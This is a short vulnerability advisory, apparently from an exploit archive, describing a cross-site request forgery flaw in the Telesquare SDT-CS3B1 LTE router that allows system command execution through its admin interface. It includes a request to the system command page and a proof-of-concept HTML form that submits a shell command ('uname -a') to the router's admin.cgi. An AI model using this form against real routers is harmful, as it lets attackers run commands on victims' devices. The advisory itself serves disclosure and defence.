Telesquare SKT LTE Router SDT-CS3B1 - Cross-Site Request Forgery Vulnerability

2017-12-31
ID: 95647
CVE: None
Download vulnerable application: None
Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution
    Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S
  Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.
  Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.
  Tested on: lighttpd/1.4.20
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
    Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php
    22.12.2017
  --
    IDOR for system command interface:
----------------------------------
  GET /admin/system_command.shtml HTTP/1.1
      PoC GET CSRF request:
---------------------
  <html>
  <body>
    <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
      <input type="hidden" name="Command" value="sysCommand" />
      <input type="hidden" name="Cmd" value="uname%20-a" />
      <input type="hidden" name="T" value="8168008531337" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>
1-4-2 (www02)